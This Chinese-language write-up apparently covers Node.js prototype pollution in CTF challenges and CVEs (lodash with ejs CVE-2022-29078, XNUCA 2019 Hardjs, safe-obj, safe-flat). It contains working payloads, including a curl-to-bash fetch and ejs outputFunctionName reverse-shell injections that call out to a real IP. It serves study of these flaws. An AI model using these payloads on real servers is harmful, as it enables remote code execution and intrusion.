那我们的思路就来了，我们可以通过/edit_note 路由污染note_list对象的原型，比如加入某个命令，由于 commands 和 note_list 都继承自同一个原型，那么在遍历 commands 时便会取到我们污染进去的恶意命令并执行。

在服务器上面创建一个反弹 Shell 的文件，然后等待目标主机去 Curl 访问并执行他：

在目标主机执行 Payload：

id=__proto__.a&author=curl http://1.15.75.117/shell.txt|bash&raw=a;

再访问 /status 路由，利用污染后的结果进行命令执行，成功反弹 Shell 并得到 flag

Lodash配合ejs模板引擎实现 RCE CVE-2022-29078

Nodejs 的 ejs 模板引擎存在一个利用原型污染进行 RCE 的一个漏洞。但要实现 RCE，首先需要有原型链污染，这里我们暂且使用 lodash.merge 方法中的原型链污染漏洞。

var express = require('express');
var lodash = require('lodash');
var ejs = require('ejs');

var app = express();
//设置模板的位置与种类
app.set('views', __dirname);
app.set('views engine','ejs');

//对原型进行污染
var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
lodash.merge({}, JSON.parse(malicious_payload));

//进行渲染
app.get('/', function (req, res) {
    res.render ("index.ejs",{
        message: 'sp4c1ous'
    });
});

//设置http
var server = app.listen(8000, function () {

    var host = server.address().address
    var port = server.address().port

    console.log("应用实例，访问地址为 http://%s:%s", host, port)
});

index.ejs

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title></title>
</head>
<body>

<h1><%= message%></h1>

</body>
</html>

对原型链进行污染的部分就是这里的lodash.merge 操作，我们通过对 outputFunctionName 进行原型链污染后的赋值来实现 RCE ，语句为

"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'cat /flag\');var __tmp2"

下面我们开始分析。

我们从 index.js::res.render 处开始，跟进 render 方法：

跟进到 app.render 方法：

发现最终会进入到 app.render 方法里的 tryRender 函数，跟进到 tryRender：

调用了 view.render 方法，继续跟进 view.render ：

至此调用了 engine，也就是说从这里进入到了模板渲染引擎 ejs.js 中。跟进 ejs.js 中的 renderFile 方法：

发现 renderFile 中又调用了tryHandleCache方法，跟进tryHandleCache：

进入到 handleCache 方法，跟进 handleCache：

在 handleCache 中找到了渲染模板的 compile 方法，跟进 compile：

找到了我们要找的outputFunctionName

发现在 compile 中存在大量的渲染拼接。这里将 opts.outputFunctionName 拼接到 prepended 中，prepended 在最后会被传递给 this.source 并被带入函数执行。所以如果我们能够污染 opts.outputFunctionName，就能将我们构造的 payload 拼接进 js 语句中，并在 ejs 渲染时进行 RCE。在 ejs 中还有一个 render 方法，其最终也是进入了 compile。最后给出几个 ejs 模板引擎 RCE 常用的 POC：

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').execSync('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec('calc');var __tmp2"}}

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"');var __tmp2"}}

[XNUCA 2019 Qualifier]Hardjs

/ 首页
/static 静态文件
/sandbox 显示用户HTML数据用的沙盒
/login 登陆
/register 注册
/get json接口获取数据库中保存的数据
/add 用户添加数据的接口

除了/static，/login和/register以外，所有路由在访问的时候都会经过一个auth函数进行身份验证

另外在初始化的时候有这么一句

app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

所以我们可以通过json格式传递参数到服务端

发现调用了 lodash ，而且版本4.17.11

{
  "name": "htmlstore",
  "version": "1.0.0",
  "description": "htmlStore will help you store html file.",
  "main": "server.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^2.6.2",
    "express": "^4.17.1",
    "express-session": "^1.16.2",
    "helmet": "^3.19.0",
    "lodash": "4.17.11",
    "mongodb": "^3.3.0-beta2",
    "mysql": "^2.17.1",
    "randomatic": "^3.1.1"
  }
}

估计存在原型链污染漏洞，发现调用 lodash.defaultDeep 函数，

在/get中我们可以发现，查询出来的结果，如果超过5条，那么会被合并成一条。具体的过程是，先通过sql查询出来当前用户所有的数据，然后一条条合并到一起

相关的从express到ejs的利用连上面写了，不写了。

最终还是

if (opts.outputFunctionName) {
        prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
      }

这里的 outputFunctionName 这个参数未定义，并且被拼接入一路回传给prepended，this.source，src，fn，然后以returnedFn返回并最后被执行。

而一路跟进的时候可以发现，并没有outputFunctionName的身影，所以只要给 Object 的prototype加上这个成员，我们就可以实现从原型链污染到RCE的攻击过程了！

payload

{
    "content": {
        "constructor": {
            "prototype": {
            "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/1.15.75.117/2333 0>&1\"');var __tmp2"
            }
        }
    },
    "type": "test"
}

发送6次请求，然后访问/get进行原型链污染，最后访问/或/login触发render函数，成功反弹shell并 getflag

safe-obj模块原型链污染

翻译很硬，没大看明白，这个模块需要lodash，但可以依稀的看出来这个模块是针对空对象的，也就是{}

CVE-2021-25928

POC

var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

我们在safeObj.expand(obj, '__proto__.polluted', 'Yes! Its Polluted');处下个断点，单步执行结束后可以看到

可以看到成功在原型中添加了属性

分析一下

查看safe-objv1.0.0中lib/index.js中的extend函数定义如下。

首先我们传入的一定是一个对象，然后他也可以接收{}，满足条件进入第二个循环

第一次调用expand函数，传参如下。

obj = {},path = "__proto__.polluted",thing = "Yes! Its Polluted"

执行split('.')函数后，props数组值如下，此时进入else分支。

props = (2) ["__proto__","polluted"],path = "__proto__.polluted"

执行prop.shift()语句后，prop的值如下。

prop = "__proto__",props = ["polluted"]
obj = {}

这样就跳过了if判断，递归调用expand

相当于执行

expand(obj[__proto__]，"polluted","Yes! Its Polluted")

再次调用split(''.')后,

props的值为”polluted”。props.length===1结果为true，

执行obj[props.shift()]=thing，

props = ["polluted"], path = "polluted"

相当于执行obj[__proto__]["polluted"]="Yes! Its Polluted"，造成原型污染。

CVE-2021-25927

该漏洞存在于safe-flat，v2.0.0~v2.0.1版本中，POC如下：

var safeFlat = require("safe-flat");
console.log("Before : " + {}.polluted);
safeFlat.unflatten({"__proto__.polluted": "Yes! Its Polluted"}, '.');
console.log("After : " + {}.polluted);